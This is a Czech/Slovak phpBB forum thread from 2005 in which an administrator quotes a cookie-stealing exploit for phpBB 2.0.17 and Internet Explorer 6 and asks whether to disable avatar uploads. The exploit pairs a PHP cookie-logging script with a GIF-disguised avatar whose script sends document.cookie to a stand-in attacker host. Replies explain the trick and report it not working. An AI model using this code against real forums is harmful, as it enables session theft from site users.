logo
Přihlášení
Uživatel: Přihlásit automaticky při příští návštěvě:
Zapomněli jste svoje heslo?
Heslo:
  Registrace
Internetový obchod, e-shop, SEO-shop
Webhosting C4 - 20 GB, PHP, MySQL, administrační systém, 1.200 Kč na rok s doménou v ceně.
Bezproblémová instalace phpBB, Joomla, Drupal. Návody pro C4 - užitečné rady pro zákazníky.

Úvodní stránka
Úvod
Diskusní fórum
Fórum
Ke stažení
Ke stažení
Instalace
Instalace
Rady a Návody
Návody
Moduly
Moduly
Vzhled
Vzhled
FAQ
FAQ
Odkazy
Odkazy
RSS

Levné pneu pro Vaše auto.
Kvalitní kočárky Tako. Levné zájezdy, last-minute

phpBB 2.0.17 v ohrozeni aneb. ako na phpBB 2.0.17...

 
Přidat nové téma   Zaslat odpověď    Obsah fóra phpBB CZ -> Nezařaditelné
Zobrazit předchozí téma :: Zobrazit následující téma  
Autor Zpráva
Catlover
Profesionál
Profesionál


Založen: 25.4.2005
Příspěvky: 507
Bydliště: United States of Slovakia

PříspěvekZaslal: 26 říjen 2005 17:51    Předmět: phpBB 2.0.17 v ohrozeni aneb. ako na phpBB 2.0.17... Citovat

kód:
suBzero@kisobox.com  http://Kisobox.com
Affected <= phpbb 2.0.17 && IE 6

//cut start
//cookies.php

<?php
 $cookie = $_GET['c'];
 $ip = getenv ('REMOTE_ADDR');
 $date=date("j F, Y, g:i a");
 $referer=getenv ('HTTP_REFERER');
 $fp = fopen('log.txt'); // chmod 777 and same directory
 fwrite($fp, '<br>Cookie: '.$cookie.'</br> IP: ' .$ip. '<br> Date and Time: ' .$date. '</br> Referer: '.$referer.' ');
 fclose($fp);
?>

//cut end
//rename it to cookies.php and create one new file log.txt chmod it to 777

// Gif upload (avatar),affected IE user
// exploit below

<GIF89aŸ8÷™fÿ™™><html><head><script>alert('http://yoursite/cookies.php?c='+document.cookie);</script></head></html>


//rename to .gif extensio


je to mozne??? ja som to skusal a nic... maybe som to zle robil... len ma zaujima, ci mam zakazt upload avatarov alebo nie...

_________________
Návrat nahoru
Zobrazit informace o autorovi Odeslat soukromou zprávu Zobrazit autorovy WWW stránky
hojko
Profesionál
Profesionál


Založen: 25.2.2005
Příspěvky: 671
Bydliště: New Zeland

PříspěvekZaslal: 26 říjen 2005 18:08    Předmět: Citovat

Toto je co akoze???: <GIF89aŸ8÷™fÿ™™>
_________________
www.hojko.com
Návrat nahoru
Zobrazit informace o autorovi Odeslat soukromou zprávu Zobrazit autorovy WWW stránky
drake127
Profesionál
Profesionál


Založen: 30.5.2005
Příspěvky: 501
Bydliště: Jihlava, Czech Republic

PříspěvekZaslal: 26 říjen 2005 18:15    Předmět: Citovat

hojko napsal:
Toto je co akoze???: <GIF89aŸ8÷™fÿ™™>
Tipuju, že se to nahraje jako avatar, projde to přes testování na obrázek a IE to interpretuje jako html, které vykoná.
_________________
Žralok, který štěká, nekouše.
Návrat nahoru
Zobrazit informace o autorovi Odeslat soukromou zprávu Zobrazit autorovy WWW stránky
PvvS
Profesionál
Profesionál


Založen: 7.3.2003
Příspěvky: 1658

PříspěvekZaslal: 26 říjen 2005 18:27    Předmět: Re: phpBB 2.0.17 v ohrozeni aneb. ako na phpBB 2.0.17... Citovat

hmm nefunguje
_________________
Pryc s warezem a warezakama
Návrat nahoru
Zobrazit informace o autorovi Odeslat soukromou zprávu
JanoF
Profesionál
Profesionál


Založen: 13.5.2005
Příspěvky: 1141
Bydliště: Bratislava

PříspěvekZaslal: 26 říjen 2005 18:37    Předmět: Re: phpBB 2.0.17 v ohrozeni aneb. ako na phpBB 2.0.17... Citovat

PvvS napsal:
hmm nefunguje
aj v mojom pripade, to nejede, ale celkom zaujimave Rolling Eyes
_________________
Jan.Fecik.sk (Powered by Drupal) | PCforum.sk (Powered by phpBB)

http://jan.fecik.sk/zarobok-na-internete-google-adsense-adwords.html
Návrat nahoru
Zobrazit informace o autorovi Odeslat soukromou zprávu Zobrazit autorovy WWW stránky
mm-marek
Profesionál
Profesionál


Založen: 1.4.2005
Příspěvky: 341
Bydliště: localhost

PříspěvekZaslal: 26 říjen 2005 18:37    Předmět: Re: phpBB 2.0.17 v ohrozeni aneb. ako na phpBB 2.0.17... Citovat

někde jsem něco takového slyšel, pak se na různých forech zakazovalo přidávání podpisů. že tam byl obrázek s kódem. Jak to dopadlo nevím. Proč nejsou podpisy zde?
_________________
bikenews.cz
Návrat nahoru
Zobrazit informace o autorovi Odeslat soukromou zprávu Odeslat e-mail Zobrazit autorovy WWW stránky
JanoF
Profesionál
Profesionál


Založen: 13.5.2005
Příspěvky: 1141
Bydliště: Bratislava

PříspěvekZaslal: 26 říjen 2005 18:43    Předmět: Re: phpBB 2.0.17 v ohrozeni aneb. ako na phpBB 2.0.17... Citovat

mm-marek napsal:
někde jsem něco takového slyšel, pak se na různých forech zakazovalo přidávání podpisů. že tam byl obrázek s kódem. Jak to dopadlo nevím. Proč nejsou podpisy zde?
aj tak to nejak nejde
_________________
Jan.Fecik.sk (Powered by Drupal) | PCforum.sk (Powered by phpBB)

http://jan.fecik.sk/zarobok-na-internete-google-adsense-adwords.html
Návrat nahoru
Zobrazit informace o autorovi Odeslat soukromou zprávu Zobrazit autorovy WWW stránky
mm-marek
Profesionál
Profesionál


Založen: 1.4.2005
Příspěvky: 341
Bydliště: localhost

PříspěvekZaslal: 26 říjen 2005 18:55    Předmět: Re: phpBB 2.0.17 v ohrozeni aneb. ako na phpBB 2.0.17... Citovat

mluvilo se o tom tady: http://www.phpbbcz.com/viewtopic.php?t=1698&start=0
ale protože tomu moc nerozumim, radši už sem zticha Smile

_________________
bikenews.cz
Návrat nahoru
Zobrazit informace o autorovi Odeslat soukromou zprávu Odeslat e-mail Zobrazit autorovy WWW stránky
Catlover
Profesionál
Profesionál


Založen: 25.4.2005
Příspěvky: 507
Bydliště: United States of Slovakia

PříspěvekZaslal: 26 říjen 2005 19:10    Předmět: Citovat

a este sa v tom vyskytuje taky problemos, ze ked chcem ten dany .gif nahrat napr. ako avatar, napise, ze je to velmi velke (rozmerovo).

raz mi to ale do toho log.txt napisalo . (bodku) Laughing

_________________
Návrat nahoru
Zobrazit informace o autorovi Odeslat soukromou zprávu Zobrazit autorovy WWW stránky
Webhosting C4 - 20 GB, PHP, MySQL, administrační systém, 1.200 Kč na rok s doménou v ceně.
Bezproblémová instalace phpBB, Joomla, Drupal. Návody pro C4 - užitečné rady pro zákazníky.
JanoF
Profesionál
Profesionál


Založen: 13.5.2005
Příspěvky: 1141
Bydliště: Bratislava

PříspěvekZaslal: 26 říjen 2005 19:15    Předmět: Re: phpBB 2.0.17 v ohrozeni aneb. ako na phpBB 2.0.17... Citovat

no aj mne to vypisalo ze je to rozmerovo velke a ked som to dal do podpisu tak sa nic do log.txt nezapisalo ani . Smile
_________________
Jan.Fecik.sk (Powered by Drupal) | PCforum.sk (Powered by phpBB)

http://jan.fecik.sk/zarobok-na-internete-google-adsense-adwords.html
Návrat nahoru
Zobrazit informace o autorovi Odeslat soukromou zprávu Zobrazit autorovy WWW stránky
Zobrazit příspěvky z předchozích:   
Přidat nové téma   Zaslat odpověď    Obsah fóra phpBB CZ -> Nezařaditelné Časy uváděny v GMT + 1 hodina
Strana 1 z 1

 
Přejdi na:  
Nemůžete odesílat nové téma do tohoto fóra.
Nemůžete odpovídat na témata v tomto fóru.
Nemůžete upravovat své příspěvky v tomto fóru.
Nemůžete mazat své příspěvky v tomto fóru.
Nemůžete hlasovat v tomto fóru.
Nemůžete připojovat soubory k příspěvkům
Nemůžete stahovat ani prohlížet přiložené soubory
šřa